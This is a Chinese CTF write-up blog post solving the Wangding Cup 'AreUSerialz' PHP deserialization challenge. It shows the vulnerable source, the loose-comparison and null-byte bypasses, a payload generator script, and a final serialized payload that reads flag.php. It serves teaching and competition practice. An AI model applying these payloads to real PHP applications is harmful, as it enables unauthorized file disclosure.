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<p>看了网鼎杯 AreUSerialz反序列化题目wp<br>对php的反序列化又有了学到了新的知识点，之前都没注意到</p>
<h2 id="标题题目是这样的："><a href="#标题题目是这样的：" class="headerlink" title="标题题目是这样的："></a>标题题目是这样的：</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">include</span>(<span class="string">&quot;flag.php&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">FileHandler</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">protected</span> <span class="variable">$op</span>;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">protected</span> <span class="variable">$filename</span>;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">protected</span> <span class="variable">$content</span>;</span><br><span class="line"></span><br><span class="line">   <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"></span><br><span class="line">        <span class="variable">$op</span> = <span class="string">&quot;1&quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="variable">$filename</span> = <span class="string">&quot;/tmp/tmpfile&quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="variable">$content</span> = <span class="string">&quot;Hello World!&quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">process</span>();   </span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">process</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span>(<span class="variable language_">$this</span>-&gt;op == <span class="string">&quot;1&quot;</span>) &#123;</span><br><span class="line"></span><br><span class="line">            <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">write</span>();       </span><br><span class="line"></span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span>(<span class="variable language_">$this</span>-&gt;op == <span class="string">&quot;2&quot;</span>) &#123;</span><br><span class="line"></span><br><span class="line">            <span class="variable">$res</span> = <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">read</span>();</span><br><span class="line"></span><br><span class="line">            <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">output</span>(<span class="variable">$res</span>);</span><br><span class="line"></span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"></span><br><span class="line">            <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">output</span>(<span class="string">&quot;Bad Hacker!&quot;</span>);</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">write</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable language_">$this</span>-&gt;filename) &amp;&amp; <span class="keyword">isset</span>(<span class="variable language_">$this</span>-&gt;content)) &#123;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span>(<span class="title function_ invoke__">strlen</span>((<span class="keyword">string</span>)<span class="variable language_">$this</span>-&gt;content) &gt; <span class="number">100</span>) &#123;</span><br><span class="line"></span><br><span class="line">                <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">output</span>(<span class="string">&quot;Too long!&quot;</span>);</span><br><span class="line"></span><br><span class="line">                <span class="keyword">die</span>();</span><br><span class="line"></span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="variable">$res</span> = <span class="title function_ invoke__">file_put_contents</span>(<span class="variable">$this</span>-&gt;filename, <span class="variable">$this</span>-&gt;content);</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span>(<span class="variable">$res</span>) <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">output</span>(<span class="string">&quot;Successful!&quot;</span>);</span><br><span class="line"></span><br><span class="line">            <span class="keyword">else</span> <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">output</span>(<span class="string">&quot;Failed!&quot;</span>);</span><br><span class="line"></span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"></span><br><span class="line">            <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">output</span>(<span class="string">&quot;Failed!&quot;</span>);</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">read</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"></span><br><span class="line">        <span class="variable">$res</span> = <span class="string">&quot;&quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable language_">$this</span>-&gt;filename)) &#123;</span><br><span class="line"></span><br><span class="line">            <span class="variable">$res</span> = <span class="title function_ invoke__">file_get_contents</span>(<span class="variable">$this</span>-&gt;filename);</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$res</span>;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">output</span>(<span class="params"><span class="variable">$s</span></span>) </span>&#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;[Result]: &lt;br&gt;&quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">echo</span> <span class="variable">$s</span>;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span>(<span class="variable language_">$this</span>-&gt;op === <span class="string">&quot;2&quot;</span>)</span><br><span class="line"></span><br><span class="line">            <span class="variable language_">$this</span>-&gt;op = <span class="string">&quot;1&quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="variable language_">$this</span>-&gt;content = <span class="string">&quot;&quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">process</span>();</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">is_valid</span>(<span class="params"><span class="variable">$s</span></span>) </span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span>(<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> &lt; <span class="title function_ invoke__">strlen</span>(<span class="variable">$s</span>); <span class="variable">$i</span>++)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span>(!(<span class="title function_ invoke__">ord</span>(<span class="variable">$s</span>[<span class="variable">$i</span>]) &gt;= <span class="number">32</span> &amp;&amp; <span class="title function_ invoke__">ord</span>(<span class="variable">$s</span>[<span class="variable">$i</span>]) &lt;= <span class="number">125</span>))</span><br><span class="line"></span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_GET</span>&#123;<span class="string">&#x27;str&#x27;</span>&#125;)) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$str</span> = (<span class="keyword">string</span>)<span class="variable">$_GET</span>[<span class="string">&#x27;str&#x27;</span>];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>(<span class="title function_ invoke__">is_valid</span>(<span class="variable">$str</span>)) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="variable">$obj</span> = <span class="title function_ invoke__">unserialize</span>(<span class="variable">$str</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>简单看下代码,反序列化漏洞<br>protect里面可控</p>
<p>主要是绕过 is_vaild 函数,它规定了序列化内容中只能包含ascii可见字符</p>
<p>还有因为在进行read()之前就会调用__destruct()魔术方法<br>__destruct()方法内使用了严格相等 this-&gt;op &#x3D;&#x3D;&#x3D; “2” process()<br>方法内使用了else if ( this-&gt;op &#x3D;&#x3D; “2”)<br>所以这里使用弱类型2 &#x3D;&#x3D; “2”绕过</p>
<h2 id="第一种解法"><a href="#第一种解法" class="headerlink" title="第一种解法"></a>第一种解法</h2><p>出题用的php版本比较高，public属性可以覆盖替代protected</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">FileHandler</span> </span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$op</span> = <span class="number">2</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$filename</span> = <span class="string">&quot;flag.php&quot;</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$content</span> = <span class="string">&quot;zeo&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">is_valid</span>(<span class="params"><span class="variable">$s</span></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">for</span>(<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> &lt; <span class="title function_ invoke__">strlen</span>(<span class="variable">$s</span>); <span class="variable">$i</span>++)</span><br><span class="line">        <span class="keyword">if</span>(!(<span class="title function_ invoke__">ord</span>(<span class="variable">$s</span>[<span class="variable">$i</span>]) &gt;= <span class="number">32</span> &amp;&amp; <span class="title function_ invoke__">ord</span>(<span class="variable">$s</span>[<span class="variable">$i</span>]) &lt;= <span class="number">125</span>))</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$a</span> = <span class="keyword">new</span> <span class="title class_">FileHandler</span>();</span><br><span class="line"><span class="variable">$b</span> = <span class="title function_ invoke__">serialize</span>(<span class="variable">$a</span>);</span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="title function_ invoke__">is_valid</span>(<span class="variable">$b</span>));</span><br><span class="line"><span class="title function_ invoke__">print_r</span>(<span class="variable">$b</span>);</span><br></pre></td></tr></table></figure>

<p><img src="https://img-blog.csdnimg.cn/20200511210523671.png" alt="在这里插入图片描述"></p>
<p><img src="https://img-blog.csdnimg.cn/20200511210452672.png" alt="在这里插入图片描述"></p>
<h2 id="第二种解法"><a href="#第二种解法" class="headerlink" title="第二种解法"></a>第二种解法</h2><p>下面P牛之前的解释</p>
<p>PHP序列化的时候private和protected变量会引入不可见字符\x00，输出和复制的时候可能会遗失这些信息，导致反序列化的时候出错。</p>
<p>private属性序列化的时候会引入两个\x00，注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到，甚至导致截断，如图1，url编码后就可以看得很清楚了。<br>同理，protected属性会引入\x00*\x00。</p>
<p>此时，为了更加方便进行反序列化Payload的传输与显示，我们可以在序列化内容中用大写S表示字符串，此时这个字符串就支持将后面的字符串用16进制表示。比如s:5:“A&lt;null_byte&gt;B”;̀ -&gt; S:5:“A\00B\09\0D”;</p>
<p>把序列号后的s变成S就可以了，里面的字符就可以正常</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">O:<span class="number">11</span>:<span class="string">&quot;FileHandler&quot;</span>:<span class="number">3</span>:&#123;S:<span class="number">5</span>:<span class="string">&quot;\00*\00op&quot;</span>;i:<span class="number">2</span>;S:<span class="number">11</span>:<span class="string">&quot;\00*\00filename&quot;</span>;S:<span class="number">8</span>:<span class="string">&quot;flag.php&quot;</span>;S:<span class="number">10</span>:<span class="string">&quot;\00*\00content&quot;</span>;S:<span class="number">6</span>:<span class="string">&quot;loecho&quot;</span>;&#125;</span><br></pre></td></tr></table></figure></article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta">文章作者: </span><span class="post-copyright-info"><a href="https://godzeo.github.io">Zeo</a></span></div><div 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